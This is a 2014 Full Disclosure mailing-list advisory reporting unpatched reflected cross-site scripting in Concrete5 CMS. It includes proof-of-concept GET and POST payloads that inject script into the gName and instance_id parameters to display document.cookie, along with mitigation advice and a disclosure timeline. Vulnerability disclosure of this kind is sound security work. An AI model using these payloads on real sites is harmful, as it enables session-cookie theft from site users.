full-disclosure - [FD] Concrete5 CMS Reflected Cross-Site Scripting Vulnerabilities

Open Source and information security mailing list archives

Message-ID: <SNT148-W83DA8E78F6AB4744F510B7CB650@phx.gbl>
Date: Tue, 9 Dec 2014 09:58:16 +0000
From: Simo Ben youssef <simo@...xploit.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Concrete5 CMS Reflected Cross-Site Scripting Vulnerabilities

Title: Concrete5 CMS Reflected Cross-Site Scripting Vulnerabilities
Author: Simo Ben youssef
Contact: Simo_at_Morxploit_com
Discovered: 02 November 2014
Updated: 9 December 2014
Published: 9 December 2014
MorXploit Research
http://www.MorXploit.com
Vendor: Concrete5
Vendor url: www.concrete5.org
Software: Concrete5 CMS
Versions: 5.7.2 and 5.7.2.1 (probably older)
Status: Unpatched
Vulnerable scripts:
single_pages/dashboard/users/groups/bulkupdate.php
tools/dashboard/sitemap_drag_request.php
Original document: http://morxploit.com/morxploits/morxconxss.txt

About Concrete5 (from Wikipedia):
Concrete5 is an open source content management system (CMS) for publishing content on the World Wide Web and intranets.
Concrete5 was designed for ease of use, for users with a minimum of technical skills. It enables users to edit site content directly from the page. It provides version management for every page, similar to wiki software, another type of web site development software. concrete5 allows users to edit images through an embedded editor on the page.

To learn more please visit:
http://en.wikipedia.org/wiki/Concrete5
http://www.concrete5.org/

Description:
Concrete5 is vulnerable to Cross-Site Scripting, both bulkupdate.php and sitemap_drag_request.php scripts fail to properly sanitize user-supplied input.

PoC Exploit:
bulkupdate.php XSS is exploitable through $_REQUEST['gName']

Using HTTP GET Method:
http://target/index.php/dashboard/users/groups/bulkupdate/search?gName="><script>alert(document.cookie)</script>&ccm-submit-button=Search

Using HTTP POST Method:
POST http://target/index.php/dashboard/users/groups/bulkupdate/search

POST DATA:
gName="><script>alert(document.cookie)</script>&ccm-submit-button=Search

sitemap_drag_request.php XSS is triggered through $_REQUEST['instance_id'] but requires a valid ccm_token value which makes it unexploitable (unless the attacker somehow obtains a valid token)

Using HTTP GET Method:
http://target/index.php/tools/required/dashboard/sitemap_drag_request?origCID=147&destCID=148&instance_id="><BODY ONLOAD=alert(document.cookie)>&ctask=MOVE&ccm_token=1418116264:3ac1b1774e77fbc61b1c6b97a4f7c9ea&dragMode=over

Mitigation:
Validate/Sanitize user supplied-input through $_REQUEST['gName'] and $_REQUEST['instance_id']

Disclosure time-line
02 November 2014: Discovery.
03 November 2014: Initial report sent.
11 November 2014: Second contact.
No response.
09 December 2014: Public disclosure.

Author disclaimer:
The information contained in this entire document is for educational, demonstration and testing purposes only.
Author cannot be held responsible for any malicious use or damage. Use at your own risk. 		 	   		  

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives